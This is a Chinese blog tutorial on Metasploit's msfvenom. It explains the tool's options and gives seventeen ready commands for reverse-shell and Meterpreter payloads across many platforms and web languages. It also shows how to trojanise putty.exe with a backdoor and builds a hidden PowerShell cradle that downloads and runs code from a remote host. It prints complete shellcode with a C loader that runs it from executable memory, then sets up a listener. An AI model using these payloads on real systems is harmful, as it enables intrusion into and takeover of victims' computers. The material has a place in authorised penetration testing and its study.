metasploit msfvenom使用实例

metasploit framework下的msfpayload(荷载生成器),msfencoder(编码器),msfcli(监听接口)已然成为历史,取而代之的是msfvenom 现在metasploit framework主要是msfvenom和msfcosole

 

msfvenom参数说明

当前版本 metasploit v4.17.15-dev

原版说明:

-l,  --list                <type>        List all modules for [type]. Types are: payloads, encoders, nops, platforms, archs, formats, all
-p, --payload        <payload>  Payload to use (--list payloads to list, --list-options for arguments). Specify '-' or STDIN for custom
     --list-options                       List --payload <value>'s standard, advanced and evasion options
-f,  --format           <format>    Output format (use --list formats to list)
-e, --encoder        <encoder>  The encoder to use (use --list encoders to list)
     --smallest                           Generate the smallest possible payload using all available encoders
-a, --arch              <arch>        The architecture to use for --payload and --encoders (use --list archs to list)
     --platform        <platform>  The platform for --payload (use --list platforms to list)
-o, --out                <path>        Save the payload to a file
-b, --bad-chars     <list>           Characters to avoid example: '\x00\xff'
-n, --nopsled         <length>     Prepend a nopsled of [length] size on to the payload
-s, --space            <length>     The maximum size of the resulting payload
     --encoder-space   <length>   The maximum size of the encoded payload (defaults to the -s value)
-i,  --iterations       <count>       The number of times to encode the payload
-c, --add-code       <path>        Specify an additional win32 shellcode file to include
-x, --template        <path>        Specify a custom executable file to use as a template
-k, --keep                                 Preserve the --template behaviour and inject the payload as a new thread
-v, --var-name       <value>      Specify a custom variable name to use for certain output formats
-t, --timeout           <second>   The number of seconds to wait when reading the payload from STDIN (default 30, 0 to disable)
-h, --help                                  Show this message

 

个人理解翻译:

 -l, --list           <type>              列出指定类型的所有模块 类型包括: payloads, encoders, nops, platforms, archs, formats, all

-p, --payload   <payload>       指定需要使用的payload(有效载荷)(--list payloads得到payload列表,--list-options得到指定payload的参数)                                                    如果需要使用自定义的payload,请使用'-'或者stdin指定
      --list-options                     列出指定payload的标准,高级和规避选项  例如:msfvenom -p generic/shell_bind_tcp --list-options                                                                 将列出shell_bind_tcp这个payload的各种选项信息

-f, --format        <format>        指定输出格式(使用 --list formats 列出所有的格式)

-e, --encoding   <encoder>     要使用的编码(使用 --list encoders 列出所有的编码) 用于编码加密
     --smallest                           使用所有可用的编码器生成尽可能小的有效负载

-a, --arch          <arch>            指定payload的目标CPU架构(使用 --list archs 列出所有的CPU架构)
     --platform    <platform>      指定payload的目标操作系统平台(使用 --list platforms 列出所有的操作系统平台)

-o, --out            <path>            将payload保存到文件中

-b, --bad-chars  <list>             指定不使用的字符集 例如:不使用'\x00\xff'这两个字符

-n, --nopsled     <length>        在payload上添加指定长度的nop指令

-s, --space        <length>        设定payload的最大长度    即生成的文件大小
     --encoder-space <length> 设定编码payload的最大长度(默认为-s的值)

-i, --iterations     <count>         对payload进行编码的次数

-c, --add-code    <path>           指定一个自己的win32 shellcode文件 

-x, --template      <path>          指定一个可执行程序 将payload捆绑其中 
                                                 例如:原先有个正常文件normal.exe 通过此选项把payload捆绑到这个程序上面

-k, --keep                                  针对-x中的捆绑程序 将创建新线程执行payload 一般情况-x -k选项一起使用

-v, --var-name     <value>         指定用于某些输出格式的自定义变量名称

-t, --timeout         <second>      从STDIN读取有效负载时等待的秒数(默认为30, 0为禁用)

-h, --help                                    查看帮助

 

msfvenom生成shellcode

实例1(简单生成):
msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.0.102 LPORT=11111 -f exe -o /Users/jiangzhehao/Downloads/1.exe
-p 指定payload,payload后跟该payload的选项
-o 指定payload的保存路径,包含文件名


实例2(替换指定代码):
msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.0.102 LPORT=11111 -b '\x00' -f exe -o /Users/jiangzhehao/Downloads/1.exe
-b 替换代码中会出现中断的字符,如 '\x00\xff'


实例3(指定编码器):
msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.0.102 LPORT=11111 -b '\x00' -e x86/shikata_ga_nai -f exe -o /Users/jiangzhehao/Downloads/1.exe
-e 指定特定的编码器


实例4(绑定后门到其他可执行程序上):
msfvenom -p windows/meterpreter/reverse_http LHOST=172.16.0.102 LPORT=3333 -x /Users/jiangzhehao/Downloads/putty.exe -k -f exe -o /Users/jiangzhehao/Downloads/puuty_bind.exe
-p windows/meterpreter/reverse_http LHOST=172.16.0.102 LPORT=3333  指定payload和payload的参数
-x /Users/jiangzhehao/Downloads/putty.exe执行要绑定的软件
-k从原始的注文件中分离出来,单独创建一个进程
-f exe指定输出格式
-o /Users/jiangzhehao/Downloads/puuty_bind.exe指定输出路径


实例5  Windows
msfvenom –platform windows –a x86 –p windows/meterpreter/reverse_tcp –i 3 –e x86/shikata_ga_nai –f exe –o C:\back.exe
msfvenom –platform windows –a x86 –p windows/x64/meterpreter/reverse_tcp –f exe –o C:\back.exe


实例6  Linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf


实例7 MAC
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho


实例8 PHP
msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php


实例9 Asp
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp


实例10  Aspx
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f aspx > shell.aspx


实例11  JSP
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp


实例12  War
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war


实例13 Bash
msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On>-f raw > shell.sh


实例14  Perl
msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl


实例15 Python
msfvenom -p python/meterpreter/reverser_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py


实例16 exe 利用exec执行powershell后门
msfvenom -p windows/exec CMD="powershell.exe -nop -w hidden -c $M=new-object net.webclient;$M.proxy=[Net.WebRequest]::GetSystemWebProxy();$M.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $M.downloadstring('http://192.168.0.104:8080/4WFjDXrGo7Mj');" -f exe -e x86/shikata_ga_nai -i 6 -o msf.exe

 

实例17 输出c格式 在vs中编译生成

msfvenom -p windows/meterpreter/reverse_http LHOST=192.168.114.140 LPORT=5555 -f c

生成C版本的shellcode 放入vs工程中 编译生成exe文件

#include "windows.h"  
#include "stdio.h"  
  
unsigned char shellcode[]=  
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"  
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"  
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"  
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"  
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"  
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"  
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"  
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"  
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"  
"\x8d\x5d\x68\x6e\x65\x74\x00\x68\x77\x69\x6e\x69\x54\x68\x4c"  
"\x77\x26\x07\xff\xd5\x31\xdb\x53\x53\x53\x53\x53\x68\x3a\x56"  
"\x79\xa7\xff\xd5\x53\x53\x6a\x03\x53\x53\x68\xb3\x15\x00\x00"  
"\xe8\x6a\x01\x00\x00\x2f\x57\x65\x56\x69\x48\x48\x4e\x41\x6f"  
"\x4f\x51\x36\x76\x54\x75\x38\x59\x37\x52\x73\x4d\x41\x38\x68"  
"\x72\x6a\x33\x30\x67\x39\x42\x41\x6c\x42\x35\x66\x45\x68\x33"  
"\x66\x2d\x65\x68\x69\x6e\x46\x42\x33\x45\x4d\x59\x59\x79\x7a"  
"\x46\x34\x53\x34\x6c\x50\x74\x4f\x57\x6a\x4e\x63\x46\x6b\x6f"  
"\x73\x47\x6e\x70\x53\x50\x53\x6e\x33\x64\x73\x53\x7a\x6e\x2d"  
"\x41\x2d\x50\x56\x39\x74\x2d\x6f\x58\x4f\x56\x45\x30\x47\x55"  
"\x61\x63\x34\x61\x41\x68\x42\x53\x67\x57\x58\x69\x6c\x71\x52"  
"\x33\x6b\x6b\x59\x59\x56\x63\x42\x4d\x37\x75\x79\x4f\x70\x38"  
"\x45\x5f\x4d\x70\x44\x30\x35\x39\x4b\x4b\x6b\x4b\x49\x6c\x6a"  
"\x48\x51\x50\x2d\x4d\x32\x75\x64\x4e\x58\x47\x63\x51\x35\x5a"  
"\x4b\x49\x41\x42\x43\x59\x6f\x55\x72\x53\x77\x34\x4e\x59\x35"  
"\x48\x46\x41\x49\x78\x63\x63\x41\x69\x73\x6c\x43\x4c\x44\x76"  
"\x57\x5f\x77\x64\x32\x67\x39\x68\x4d\x51\x54\x31\x39\x50\x50"  
"\x50\x53\x41\x41\x4f\x51\x55\x6b\x68\x4e\x63\x56\x46\x7a\x2d"  
"\x4c\x4a\x47\x38\x52\x58\x38\x61\x6f\x4c\x6b\x2d\x4b\x34\x77"  
"\x46\x48\x72\x00\x50\x68\x57\x89\x9f\xc6\xff\xd5\x89\xc6\x53"  
"\x68\x00\x02\x60\x84\x53\x53\x53\x57\x53\x56\x68\xeb\x55\x2e"  
"\x3b\xff\xd5\x96\x6a\x0a\x5f\x53\x53\x53\x53\x56\x68\x2d\x06"  
"\x18\x7b\xff\xd5\x85\xc0\x75\x14\x68\x88\x13\x00\x00\x68\x44"  
"\xf0\x35\xe0\xff\xd5\x4f\x75\xe1\xe8\x4c\x00\x00\x00\x6a\x40"  
"\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00\x53\x68\x58\xa4\x53"  
"\xe5\xff\xd5\x93\x53\x53\x89\xe7\x57\x68\x00\x20\x00\x00\x53"  
"\x56\x68\x12\x96\x89\xe2\xff\xd5\x85\xc0\x74\xcf\x8b\x07\x01"  
"\xc3\x85\xc0\x75\xe5\x58\xc3\x5f\xe8\x7f\xff\xff\xff\x31\x39"  
"\x32\x2e\x31\x36\x38\x2e\x31\x31\x34\x2e\x31\x34\x30\x00\xbb"  
"\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";  
   
void main()  
{  
    LPVOID Memory = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);  
    memcpy(Memory, shellcode, sizeof(shellcode));  
    ((void(*)())Memory)();  
}  

 

msf设置监听

当目标主机执行反弹式shellcode后 会回连当前机器  需要设置端口监听 

实例17为例   将回连192.168.114.140的5555端口

设置监听命令如下:

use exploit/multi/handler
set payloadwindows/meterpreter/reverse_http
set LHOST 192.168.114.140
set LPORT 5555
exploit -j 

效果如图

 

 

  • 5
    点赞
  • 18
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值